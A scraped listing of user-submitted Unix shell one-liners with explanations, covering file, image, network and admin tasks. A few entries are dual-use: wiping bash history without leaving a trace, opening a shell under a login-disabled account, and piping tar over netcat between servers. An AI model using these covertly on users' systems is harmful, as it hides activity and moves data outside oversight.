group:SYSTEM:rwx group:user:r-x group:main_users:rwx mask:rwx other:--- # file: file-with-no-acl user::rw- group::r-- other:r-- foo@bar:/tmp> getfacl file-with-acl | setfacl -f - file-with-no-acl foo@bar:/tmp> copy ACL of one file to another using getfacl and setfacl If you copy windows file in e.g. cygwin the ACL might miss on the copied file. With this command you can copy the ACL of an existing file to another. WARNING: Existing ACL will get lost. smbclient -U userbob //10.1.1.75/Shared Browse shared folder when you're the only Linux user Under Ubuntu smbclient is part of the samba package. With the version I use (3.0.28a) cd-ing into folders with spaces in the name is a drag. You have to put the folder name in quotes: smb: \Shared\> cd "Marketing and PR" complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh $ssh myserver.<tab> $ssh myserver.insanelylongcompanynamethatishardtospell.com Add to your bash profile to minimize carpal tunnel syndrome. Works for ping as well.. complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ping xev show all key and mouse events for mousevents, move the mouse over the window and click/move etc. usefull for getting mouseKeys, or keyKeys. also usefull for checking if X gets those mouse-events. date +%A | tail -2c g Functions: date tail Find out what the day ends in Several people have submitted commands to do this, but I think this is the simplest solution. It also happens to be the most portable one: It should work with any sh or csh derived shell under any UNIX-like OS. Oh by the way, with my German locale ($LC_TIME set appropriately) it prints "g" most of the time, and sometimes (on Wednesdays) it prints "h". It never prints "y". mplayer tv:// -vf mirror Instant mirror from your laptop + webcam grep -ioE "(url\(|src=)['\"]?[^)'\"]*" a.html | grep -ioE "[^\"'(]*.(jpg|png|gif)" | while read l ; do sed -i "s>$l>data:image/${l/[^.]*./};base64,`openssl enc -base64 -in $l| tr -d '\n'`>" a.html ; done; Functions: grep read sed embed referred images in HTML files in "a.html", find all images referred as relative URI in an HTML file by "src" attribute of "img" element, replace them with "data:" URI. This useful to create single HTML file holding all images in it, as a replacement of the IE-created .mht file format. The generated HTML works fine on every other browser except IE, as well as many HTML editors like kompozer, while the .mht format only works for IE, but not for every other browser. Compare to the KDE's own single-file-web-page format "war" format, which only opens correctly on KDE, the HTML file with "data:" URI is more universally supported. The above command have many bugs. My commandline-fu is too limited to fix them: 1. it assume all URLs are relative URIs, thus works in this case: <img src="images/logo.png"/> but does not work in this case: <img src="http://www.my_web_site.com/images/logo.png" /> This may not be a bug, as full URIs perhaps should be ignored in many use cases. 2. it only work for images whoes file name suffix is one of .jpg, .gif, .png, albeit images with .jpeg suffix and those without extension names at all are legal to HTML. 3. image file name is not allowed to contain "(" even though frequently used, as in "(copy of) my car.jpg". Besides, neither single nor double quotes are allowed. 4. There is infact a big flaw in this, file names are actually used as regular expression to be replaced with base64 encoded content. This cause the script to fail in many other cases. Example: 'D:\images\logo.png', where backward slash have different meaning in regular expression. I don't know how to fix this. I don't know any command that can do full text (no regular expression) replacement the way basic editors like gedit does. 5. The original a.html are not preserved, so a user should make a copy first in case things go wrong. convert image123.png -colors 14 -resize 640x480 grubimg.xpm Convert your favorite image in xpm for using in grub * size must be 640?480 pixels * only has 14 colors * save it in XPM format Edit /boot/grub/menu.lst and add splashimage=(hd0,0)/boot/grub/grubimg.xpm make sure for your path name and hard disk awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10 Functions: awk head sort uniq Top 10 requestors by IP address from Apache/NCSA Logs $rpl -R oldstring newstring folder john@raffles2:~/Desktop$rpl -R LOCALE LOC**E copy\ of\ ies4linux-2.99.0.1/ Replacing "LOCALE" with "LOC**E" (case sensitive) (partial words matched) .............................................................. A Total of 189 matches replaced in 62 files searched. If you can install rpl it's simpler to use and faster than combinations of find, grep and sed. See man rpl for various options. time on above operation: real 0m0.862s, user 0m0.548s, sys 0m0.180s using find + sed: real 0m3.546s, user 0m1.752s, sys 0m1.580s { rm -f file10 && nl > file10; } < file10 Functions: nl rm In place line numbering Add permanent line numbers to a file without creating a temp file. The rm command deletes file10 while the nl command works on the open file descriptor of file10 which it outputs into a new file again named file10. The new file10 will now be numbered in the same directory with the same file name and content as before, but it will in fact be a new file, using (ls -i) to show its inode number will prove this. rsync [options] -- * target Rsync files with spaces Using the double dash before the source and target makes the command work fine with weird filenames. convert pagexxx.png -filter Cubic -resize 200% -threshold 50% -compress Group4 pagexxx.tiff; tiff2pdf -z -p letter -ro -x 1200 -y 1200 -o pagexxx.pdf pagexxx.tiff Prepare B&W scans for clean looking, searchable PDF Scan pages in, clean them up in an image editor, save to individual files. Use this command to convert each page to PDF. Combine in Acrobat Professional, and use the built-in OCR with the "Searchable Image (Exact)" option. Gives excellent image quality and file size (avoids awful JPEG image recompression that Acrobat and other OCR systems tend to do.) paste file1 file2 fileN > merged $ cat file1 $ cat file2 $ paste file1 file2 a 1 b 2 c 3 Merge files, joining each line in one line Merge files, joining line by line horizontally. Very useful when you have a lot of files where each line represents an info about an event and you want to join them into a single file where each line has all the info about the same event See the example for a better understanding pv bigdump.sql.gz | gunzip | mysql 132MB 0:08:00 [ 260kB/s] [> ] 1% ETA 12:48:0923 Functions: gunzip MySQL dump restore with progress bar and ETA sed -i 's|\("browser.startup.homepage",\) "\(.*\)"|\1 "http://sliceoflinux.com"|' .mozilla/firefox/*.default/prefs.js Change the homepage of Firefox This command modifies the preferences file of Firefox that is located in .mozilla/firefox/*.default/prefs.js. It edits the file with sed and the -i option. Then it searches the string "browser.startup.homepage", and the string next to it (second string). Finally, it replaces the second string with the new homepage, that is http://sliceoflinux.com in the example. It doesn't work if you haven't set any homepage. find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $file | grep "Foo.class"; done Functions: echo find grep read Find which jars contain a class su - <user> -s /bin/sh -c "/bin/sh" [root@XXX ~]# su - nobody This account is currently not available. [root@XXX ~]# su - nobody -s /bin/sh -c "/bin/sh" sh-3.2$ id uid=99(nobody) gid=99(nobody) grupos=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Get a shell with a not available account sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub' I'll let Slayer handle that. Raining Blood for your pleasure. echo "There are $(($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in year $(date +%Y)." How many days until the end of the year sudo dmidecode --type=processor | grep -i -A 1 charac -bash-3.2$ sudo dmidecode --type=processor | grep -i -A 1 charac Characteristics: 64-bit capable This tells us that the CPU is 64 bit. ‹ First < 97 98 99 100 101 > Last › ldconfig -p Functions: ldconfig Show Shared Library Mappings shows which shared lib files are pointed to by the dynamic linker. sleep 5h && rhythmbox path/to/song Set an alarm to wake up Sleep 5h and plays the song as a wake up alarm PATH=$(cd ${0%/*}; pwd) statt(){ C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; } [275:254 0:302] [davinci@www.askapache.com:0 +6] /etc (2:32)$ statt screenrc 644 %a Access rights in octal -rw-r--r-- %A Access rights in human readable form 40 %b Number of blocks allocated (see %B) 512 %B The size in bytes of each block reported by %b 86 %d Device number in decimal 56 %D Device number in hex 81a4 %f Raw mode in hex regular file %F File type 0 %g Group ID of owner root %G Group name of owner 1 %h Number of hard links 80002387 %i Inode number /etc/screenrc %n File name `/etc/screenrc' %N Quoted file name with dereference if symbolic link 4096 %o I/O block size 20102 %s Total size, in bytes 0 %t Major device type in hex 0 %T Minor device type in hex 0 %u User ID of owner root %U User name of owner 2010-06-11 14:23:28 %x Time of last access 1276280608 %X Time of last access as seconds since Epoch 2010-06-11 14:23:28 %y Time of last modification 1276280608 %Y Time of last modification as seconds since Epoch 2010-06-11 16:42:43 %z Time of last change FS: Z %Z Time of last change as seconds since Epoch 12190296 %a Free blocks available to non-superuser 20971520 %b Total data blocks in file system 5242880 %c Total file nodes in file system 4540105 %d Free file nodes in file system 12190296 %f Free blocks in file system 0 %i File System ID in hex 255 %l Maximum length of filenames 4096 %s Block size (for faster transfers) 4096 %S Fundamental block size (for block counts) 565a4653 %t Type in hex UNKNOWN (0x565a4653) %T Type in human readable form Functions: column read sed STAT Function showing ALL info, stat options, and descriptions This shows every bit of information that stat can get for any file, dir, fifo, etc. It's great because it also shows the format and explains it for each format option. If you just want stat help, create this handy alias 'stath' to display all format options with explanations. alias stath="stat --h|sed '/Th/,/NO/!d;/%/!d'" To display on 2 lines: ( F=/etc/screenrc N=c IFS=$'\n'; for L in $(sed 's/%Z./%Z\n/'<<<`stat --h|sed -n '/^ *%/s/^ *%\(.\).*$/\1:%\1/p'`); do G=$(echo "stat -$N '$L' \"$F\""); eval $G; N=fc;done; ) For a similarly powerful stat-like function optimized for pretty output (and can sort by any field), check out the "lll" function http://www.commandlinefu.com/commands/view/5815/advanced-ls-output-using-find-for-formattedsortable-file-stat-info From my .bash_profile -> http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html mogrify -format jpg -quality 80 -resize 800 *.jpg Resize photos without changing exif To resize photos without changing exif datas, pretty cool for gps tagging. (Require ImageMagick) alias gdbbt="gdb -q -n -ex bt -batch" The pstack command prints a stack trace of running processes without needing to attach a debugger, but what about core files? The answer, of course, is to use this command. Usage: gdbbt program corefile dd if=/dev/sdc of=/dev/sdd conv=notrunc & while killall -USR1 dd; do sleep 5; done Functions: dd killall sleep clone an USB stick using dd + see its process The following command will clone usb stick inside /dev/sdc to /dev/sdd !w sudo tee % Functions: sudo tee write by vim need root privilege wget http://domain.com/file{1..100} download file1 file2 file3 file4 .... file 100 pdftk $* cat output $merged.pdf mkdir $(printf '%03d\n' {1..100}) Functions: mkdir printf make 100 directories with leading zero, 001...100, using bash3.X dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sleep 5; done 4+1 records in 4+0 records out 4194304 bytes (4.2 MB) copied, 1.0153 s, 4.1 MB/s Functions: dd kill sleep Copy a file using dd and watch its progress This is a more accurate way to watch the progress of a dd process. The $DDPID=$! is needed so that you don't get the PID of the sleep. The sleep 1 is needed because in my testing at least, if you run kill -USR1 against dd too quickly, it will kill it off instead of display the status. So you need to wait a second, probably so that it can configure itself to trap the USR1 signal. tr '\t' '\n' < inputfile converting horizontal line to vertical line montage 2007-08-25-3685.jpg +clone -clone 0-1 -clone 0-3 -geometry 500 -frame 5 output.jpg Repeat a portrait eight times so it can be cut out from a 6"x4" photo and used for visa or passport photos Yes, You could do it in the GIMP or even use Inkscape to auto-align the clones, but the command line is so much easier. NOTE: The +clone and -clone options are just to shorten the command line instead of typing the same filename eight times. It might also speed up the montage by only processing the image once, but I'm not sure. "+clone" duplicates the previous image, the following two "-clone"s duplicate the first two and then the first four images. NOTE2: The -frame option is just so that I have some lines to cut along. BUG: I haven't bothered to calculate the exact geometry (width and height) of each image since that was not critical for the visa photos I need. If it matters for you, it should be easy enough to set using the -geometry flag near the end of the command. For example, if you have your DPI set to 600, you could use "-geometry 800x1200!" to make each subimage 1⅓ x 2 inches. You may want to use ImageMagick's "-density 600" option to put a flag in the JPEG file cuing the printer that it is a 600 DPI image. BUG2: ImageMagick does not autorotate images based on the EXIF information. Since the portrait photo was taken with the camera sideways, I made the JPEG rotate using jhead like so: jhead -autorot 2007-08-25-3685.jpg awk -F ':' '{print $1 | "sort";}' /etc/passwd Save some CPU, and some PIDs. :) vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout '#transcode{vcodec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=http,mux=ogg,url=:12345}' -I ncurses 2> /dev/null Watch your freebox flux, through a other internet connection (for French users) You can watch channels of your freebox, everywhere. With " vlc http://your-ip:12345 " on the client and ncurses vlc interface on the host. et voila sleep 4; xwd >foo.xwd; mv foo.xwd "$(dd skip=100 if=foo.xwd bs=1 count=256 2>/dev/null | egrep -ao '^[[:print:]]+' | tr / :).xwd" # No output, but the cursor will change to crosshairs to let you know that you can select a window Functions: mv sleep Take a screenshot of the window the user clicks on and name the file the same as the window title In general, this is actually not better than the "scrot -d4" command I'm listing it as an alternative to, so please don't vote it down for that. I'm adding this command because xwd (X window dumper) comes with X11, so it is already installed on your machine, whereas scrot probably is not. I've found xwd handy on boxen that I don't want to (or am not allowed to) install packages on. NOTE: The dd junk for renaming the file is completely optional. I just did that for fun and because it's interesting that xwd embeds the window title in its metadata. I probably should have just parsed the output from file(1) instead of cutting it out with dd(1), but this was more fun and less error prone. NOTE2: Many programs don't know what to do with an xwd format image file. You can convert it to something normal using NetPBM's xwdtopnm(1) or ImageMagick's convert(1). For example, this would work: "xwd | convert fd:0 foo.jpg". Of course, if you have ImageMagick already installed, you'd probably use import(1) instead of xwd. NOTE3: Xwd files can be viewed using the X Window UnDumper: "xwud <foo.xwd". ImageMagick and The GIMP can also read .xwd files. Strangely, eog(1) cannot. NOTE4: The sleep is not strictly necessary, I put it in there so that one has time to raise the window above any others before clicking on it. netstat -lnp Most simple way to get a list of open ports ls --quoting-style={escape,shell,c} escape: Some\ Directory shell: 'Some Directory' c: "Some Directory" List files by quoting or escaping special characters. Tested and works on Linux. rsop.msc Show your account and windows policy settings with Results of Policy msc. Type this into windows via run and it will display to you your complete policy for windows. This includes group policy, security policy and your active directory account (min password etc).... www.fir3net.com ssh user@host 'gunzip - > file' < file.gz send file to remote machine and unzip using ssh This version transfers gzipped data which is unzipped as it arrives at the remote host. sort file1.txt | uniq > file2.txt Functions: sort uniq To have only unique lines in a file df -P $ df -P Functions: df Convert df command to posix; uber GREPable It is a pain grep-ing/sed-ing/awk-ing plain old df. POSIX it! echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n|sed 1q` `who -m|sed -e "s%^.* \(pts/[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"` / `ps aux|wc -l`]\007" askapache:tombs@crypt.gpl [pts/3] (etherape.dreamhost.com) [0.06 / 411] Change Title of Terminal Window to Verbose Info useful at Login I usually have 5 or more ssh connections to various servers, and putting this command in my .bash_profile file makes my putty window or x terminal window title change to this easily recognizable and descriptive text. Includes the username, group, server hostname, where I am connecting from (for SSH tunneling), which device pts, current server load, and how many processes are running. You can also use this for your PROMPT_COMMAND variable, which updates the window title to the current values each time you exec a command. I prefix running this in my .bash_profile with [[ ! -z "$SSH_TTY" ]] && which makes sure it only does this when connecting via SSH with a TTY. Here's some rougher examples from http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html # If set, the value is executed as a command prior to issuing each primary prompt. #H=$((hostname || uname -n) 2>/dev/null | sed 1q);W=$(whoami) #export PROMPT_COMMAND='echo -ne "\033]0;${W}@${H}:${PWD/#$HOME/~} ${SSH_TTY/\/dev\//} [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"`]\007"' #PROMPT_COMMAND='echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n 2>/dev/null|sed 1q` `command who -m|sed -e "s%^.* \(pts/[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"` / `command ps aux|wc -l`]\007"' #[[ -z "$SSH_TTY" ]] || export PROMPT_COMMAND #[[ -z "$SSH_TTY" ]] && [[ -f /dev/stdout ]] && SSH_TTY=/dev/stdout And here's a simple function example for setting the title: function set_window_title(){ echo -e "\033]0; ${1:-$USER@$HOST - $SHLVL} \007"; } ssh -T user@server < script.sh Run local bash script on remote server Run local scripts on remote server. "-T Disable pseudo-tty allocation" ‹ First < 98 99 100 101 102 > Last › for x in $(eselect bashcomp list | sed -e 's/ //g' | cut -d']' -f2 | sed -e 's/\*//');do eselect bashcomp enable $x --global;sleep 0.5s;done Functions: cut enable sed sleep enable all bash completions in gentoo enable each bash completion that you have installed at your system, that's very nice ;) tr -dc '[:print:]' < /dev/urandom Printable random characters Reads psuedorandom bytes from /dev/urandom, filtering out non-printable ones. Other character classes can be used, such as [:alpha:], [:digit:] and [:alnum:]. To get a string of 10 lowercase letters: tr -dc '[:lower:]' < /dev/urandom | head -c 10 awk '/regex/{print x};{x=$0}' Print line immediately before a matching regex. Use this if you don't have access to GNU grep's -B option. awk '/d.[0-9]/{print $4}' /proc/partitions sda1 sda2 sda3 sda5 sda6 sda7 sda8 sda9 sdb1 list all hd partitions Only one command and not dependant on full read access to the devices. bc -l <<< s(3/5) .56464247339503535720 -l auto-selects many more digits (but you can round/truncate in your head, right) plus it loads a few math functions like sin(). rm -f **/Thumbs.db An alternative which uses the advanced zsh globbing (pattern matching) gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb: send a .loc file to a garmin gps over usb gps data from geocaching.com is provided for free in .loc format. F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done Functions: cut echo grep read sed tail List last opened tabs in firefox browser Tuned for short command line - you can set the path to sessionstore.js more reliable instead of use asterixes etc. Usable when you are not at home and really need to get your actual opened tabs on your home computer (via SSH). I am using it from my work if I forgot to bookmark some new interesting webpage, which I have visited at home. Also other way to list tabs when your firefox has crashed (restoring of tabs doesn't work always). This script includes also tabs which has been closed short time before. find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} & Functions: cp find tr xargs Find jpeg images and copy them to a central location Use if you have pictures all over the place and you want to copy them to a central location Synopsis: Find jpg files translate all file names to lowercase backup existing, don't overwrite, preserve mode ownership and timestamps copy to a central location Lock your KDE4 remotely (via regular KDE lock) Forgot to lock your computer? Want to lock it via SSH or mobile phone or use it for scheduled lock? TIP: Make a alias for this (e. g. as "lock"). I found some howtos for ugly X11 lock, but this will use regular KDE locking utility. Note that KDE 3 is using utility with another name (I guess with the same argument --forcelock) Tested on Kubuntu 8.10. Stay tuned for remote unlock. for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done Uniformly correct filenames in a directory Useful if non-ascii characters in filenames have been improperly encoded. Replace "PROBLEM" with the incorrect characters (e.g. 'é'), and "FIX" with the correct ones (e.g. '?'). sdiff file1 file2 Functions: sdiff Compare two files side-by-side I found out about this from Unix Power Tools, and thought it was pretty useful. Use the -w option to change the width of the output, and the -s option to suppress lines that are the same in both files. ssh user@host 'tar -c --use-compress-prog=pbzip2 /<dir>/<subdir>' > <localfile>.tar.bz2 remote-pbzip2 and transfer a directory to local file svn log | tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)//g' | sed -r 's/^r//' | sed -r "s/[0-9]+ lines?//g" | sort -g 1 | author | 2009-09-09 12:12:12 +200 | Initial import 2 | author | 2009-09-09 12:15:16 +200 | ADDED: great feature Functions: sed sort tr SVN Status log to CSV Note you have also the --xml option ;) :1,$d Within vi allow to empty a text file in one shot apg -a 0 -n 10 [renich@introdesk ~]$ apg -a 0 -n 10 Sodhefreb SlegTyps ojBifced Icsibjafye Frirphyij Howviddij| dramwoolf youTwik/ dabcybr` ghistivDej Generate 10 pronunciable passwords A great password generation tool. http://www.adel.nursat.kz/apg/ printf "%'d\n" 1234567 1,234,567 formatting number with comma it is not work with Cygwin's bash3.X. Test in Linux. use printf "%'f" number while it is floating point number ls -S -lhr list and sort files by size in reverse order (file size in human readable output) This command list and sort files by size and in reverse order, the reverse order is very helpful when you have a very long list and wish to have the biggest files at the bottom so you don't have scrool up. The file size info is in human readable output, so ex. 1K..234M...3G Tested with Linux (Red Hat Enterprise Edition) mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/null Send it the easy way, with MIME and everything handled for you by an app that knows best. echo "- - -" > /sys/class/scsi_host/host0/scan force a rescan on a host of scsi devices (useful for adding partitions to vmware on the fly) netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}' Connected: 6 worked on ubuntu 9.04 and cygwin with MS netstat zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20 Functions: awk sort tail uniq zcat Analyse compressed Apache access logs for the most commonly requested pages xrandr | sed -n 's/ connected.*//p' | xargs -n1 -tri xrandr --output {} --brightness 0.7 --gamma 2:3:4 There is no output, but here's the output from xrandr so you can see the input to the sed regex. It is simply grabbing the first word from any line that says "SUCHANDSO connected" $ xrandr Screen 0: minimum 320 x 200, current 1600 x 1200, maximum 4096 x 4096 VGA-0 connected 1600x1200+0+0 (normal left inverted right x axis y axis) 352mm x 264mm S-video disconnected (normal left inverted right x axis y axis) Adjust gamma so monitor doesn't mess up your body's clock [UPDATE: Now works for multiple connected outputs] I woke up around midnight with an urge to do some late night hacking, but I didn't want a bright monitor screwing up my body's circadian rhythm. I've heard that at night blue (short wavelength) lights are particularly bad for your diurnal clock. That may be a bunch of hooey, but it is true that redder (longer wavelength) colors are easier on my eyes at night. This command makes the screen dimmer and adjusts the gamma curves to improve contrast, particularly darkening blues and greens (Rɣ=2, Gɣ=3, Bɣ=4). To reset your screen to normal, you can run this command: xrandr | sed -n 's/ connected.*//p' | xargs -n1 -tri xrandr --output {} --brightness 1 --gamma 1:1:1 or, more briefly, xgamma -g 1 Note: The sed part is fragile and wrong. I'm doing it this way because of a misfeature in xrandr(1), which requires an output be specified but has no programmatic way of querying available outputs. Someone needs to patch up xrandr to be shell script friendly or at least add virtual outputs named "PRIMARY" and "ALL". Todo: Screen should dim (gradually) at sunset and brighten at sunrise. I think this could be done with a self-resubmitting at job, but I'm running into the commandlinefu 127 character limit just getting the sunrise time: wget http://aa.usno.navy.mil/cgi-bin/aa_pap.pl --post-data=$(date "+xxy=%Y&xxm=%m&xxd=%d")"&st=WA&place=Seattle" -q -O- | sed -rn 's/\W*Sunrise\W*(.*)/\1/p' I hope some clever hacker comes up with a command line interface to Google's "OneBox", since the correct time shows up as the first hit when googling for "sunrise:cityname". [Thank you to @flatcap for the sed improvement, which is much better than the head|tail|cut silliness I had before. And thank you to @braunmagrin for pointing out that the "connected" output may not be on the second line.] echo 'hardstatus alwayslastline " %d-%m-%y %c:%s | %w"' >> $HOME/.screenrc; screen Console clock -- within screen Configures screen to always display the clock in the last line (has to be configured only once). After that you not only have got the possibility to detach sessions and run them in background, but also have got a nice clock permanently on your screen. find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term; Functions: find grep read find and grep Word docs Find Word docs by filename in the current directory, convert each of them to plain text using antiword (taking care of spaces in filenames), then grep for a search term in the particular file. (Of course, it's better to save your data as plain text to make for easier grepping, but that's not always possible.) Requires antiword. Or you can modify it to use catdoc instead. ‹ First < 99 100 101 102 103 > Last › netstat -nptl List all TCP opened ports on localhost in LISTEN mode Alternative of OJM snippet : This one show the IP too, where ports bind. It's very important, because if there's only 127.0.0.1 instead of 0.0.0.0, connections from internet are rejected. perl -pi -e 's/\r\n?/\n/g' This method will also convert mac line endings. sysctl -a | grep vm.swappiness vm.swappiness = 60 Functions: grep sysctl Find the ratio between ram usage and swap usage. it provides the ratio used for the RAM and The SWAP under Linux. When swappiness is high, Swap usage is high. When swappiness is low, Ram usage is high. gpg --keyserver pgp.surfnet.nl --recv-key 19886493 gpg: requesting key 19886493 from hkp server pgp.surfnet.nl gpg: key 19886493: "junkie <junkie@pworld.org>" 1 new user ID gpg: key 19886493: "junkie <junkie@pworld.org>" 4 new signatures gpg: new user IDs: 1 gpg: new signatures: 4 Getting GnuPG Public Keys From KeyServer get my GPG-key from pgp.surfnet.nl, key id is 19886493. rpm -qif `which more` Name : util-linux-ng Relocations: (not relocatable) Version : 2.13.1 Vendor: Fedora Project Release : 2.fc8 Build Date: wto, 22 kwi 2008, 22:24:21 Install Date: pon, 5 maj 2008, 14:11:10 Build Host: xenbuilder1.fedora.redhat.com Group : System Environment/Base Source RPM: util-linux-ng-2.13.1-2.fc8.src.rpm Size : 5028446 License: GPLv2 and GPLv2+ and BSD with advertising and Public Domain Signature : DSA/SHA1, pon, 28 kwi 2008, 21:31:42, Key ID b44269d04f2a6fd2 Packager : Fedora Project URL : ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng Summary : A collection of basic system utilities Description : The util-linux-ng package contains a large variety of low-level system utilities that are necessary for a Linux system to function. Among others, Util-linux contains the fdisk configuration tool and the login program. Functions: rpm Find out what package some command belongs to (on RPM systems) Replace 'more' command with any command which is in your PATH. tail -f file | while read line; do printf "$(date -u '+%F %T%z')\t$line\n"; done 2010-11-24 05:46:58+0000 ########## 2010-11-24 05:46:59+0000 # EOF # 2010-11-24 05:46:59+0000 ########## Functions: file printf read tail Should be a bit more portable since echo -e/n and date's -Ins are not. diff -uw <(fmt -1 {file1, file2}) Functions: diff fmt Word-based diff on reformatted text files It can be hard to spot differences in reformatted files, because of all the diff noise created by word wrapped lines. This command removes all the noise and performs a word-by-word diff. To ignore empty lines, add -B to the diff command. Also, if this is something you do often, you might want to check out the wdiff(1) program. pstree -Gap G - uses VT100 line drawing a - shows command line arguments of process p - prints PID of process For other options, man pstree :) mplayer -fs cdda://9 -ao pcm:file=track9.wav Extract track 9 from a CD Using mplayer to extract audio file from a CD find ${PATH//:/ } -executable -type f -printf "%f\n" List all execs in $PATH, usefull for grepping the resulting list ##Dependancies: bash coreutils Many executables in $PATH have the keyword somewhere other than the beginning in their file names. The command is useful for exploring the executables in $PATH like this. find ${PATH//:/ } -executable -type f -printf "%f\n" |grep admin lpadmin time-admin network-admin svnadmin users-admin django-admin shares-admin services-admin :w !pfexec tee % Save a file you edited in vim without the needed permissions - (Open)solaris version with RBAC On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000" Using netcat to copy files between servers It bypasses encryption overhead of SSH and depending on configuration can be significantly faster. It's recommended to use only in trusted networks. (echo foobar; echo farboo) | perl -E 'say[sort<>=~/./g]~~[sort<>=~/./g]?"anagram":"not anagram"' Are the two lines anagrams? This works by reading in two lines of input, turning each into a list of one-character matches that are sorted and compared. ip link | awk '/link/ {print $2}' Functions: awk link The output of ifconfig is localized, using it will fail in non-English environment. "ip" command in iproute2 provides a consistent output and thus is more robust vim suite.js -c '%s!/\*\_.\{-}\*/!!g' grep -Hrli 'foo' * | xargs vim Functions: grep xargs Edit all files found having a specific string found by grep The grep switches eliminate the need for awk and sed. Modifying vim with -p will show all files in separate tabs, -o in separate vim windows. Just wish it didn't hose my terminal once I exit vim!! history -c && rm -f ~/.bash_history Clear your history saved into .bash_history file! Note the space before the command; that prevents your history eliminating command from being recorded. ' history -c && rm -f ~/.bash_history' Both steps are needed. 'history -c' clears what you see in the history command. 'rm -f ~/.bash_history' deletes the history file in your home directory. shopt -s nocaseglob Bash autocomplete case insensitive search Change bash autocomplete case search to insensitive when pressing tab for completion. du -ms * .[^.]*| sort -nk1 186 Foto 213 .mozilla 260 .eclipse 295 .kde 301 Desktop Alternative size (human readable) of files and directories (biggest last) using mb it's still readable;) a symbol variation $ du -ms {,.[^.]}* | sort -nk1 find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail Mon Sep 21 19:24:47 2009 /Users/andrew/Library/Logs/Sync/mobilemesyncstats.plist Mon Sep 21 19:24:47 2009 /Users/andrew/Library/Preferences/ByHost/com.apple.DotMacSync.0019e366823e.plist Mon Sep 21 19:24:48 2009 /Users/andrew/Library/Preferences/ByHost/com.apple.AOSNotification.0019e366823e.plist Mon Sep 21 19:24:54 2009 /Users/andrew/Library/Cookies/Cookies.plist Mon Sep 21 19:25:03 2009 /Users/andrew/Library/Preferences/com.apple.Terminal.plist Mon Sep 21 19:26:44 2009 /Users/andrew/Library/Mail/IMAP-andrew@x-fifteen.com@mail.x-fifteen.com/Sent Messages.imapmbox/Messages/311191.emlx Mon Sep 21 19:26:47 2009 /Users/andrew/Library/Logs/Sync/syncservices.log Mon Sep 21 19:26:55 2009 /Users/andrew/Library/Preferences/com.apple.mail.plist Mon Sep 21 19:27:48 2009 /Users/andrew/Library/Mail/IMAP-andrew@x-fifteen.com@mail.x-fifteen.com/INBOX.imapmbox/Messages/311201.emlx Mon Sep 21 19:27:49 2009 /Users/andrew/Library/Mail/Envelope Index Functions: find perl Find and display most recent files using find and perl This pipeline will find, sort and display all files based on mtime. This could be done with find | xargs, but the find | xargs pipeline will not produce correct results if the results of find are greater than xargs command line buffer. If the xargs buffer fills, xargs processes the find results in more than one batch which is not compatible with sorting. Note the "-print0" on find and "-0" switch for perl. This is the equivalent of using xargs. Don't you love perl? Note that this pipeline can be easily modified to any data produced by perl's stat operator. eg, you could sort on size, hard links, creation time, etc. Look at stat and just change the '9' to what you want. Changing the '9' to a '7' for example will sort by file size. A '3' sorts by number of links.... Use head and tail at the end of the pipeline to get oldest files or most recent. Use awk or perl -wnla for further processing. Since there is a tab between the two fields, it is very easy to process. printf -v row "%${COLUMNS}s"; echo ${row// /#} ################################################################################ Functions: echo printf Pure Bash This will print a row of characters the width of the screen without using any external executables. In some cases, COLUMNS may not be set. Here is an alternative that uses tput to generate a default if that's the 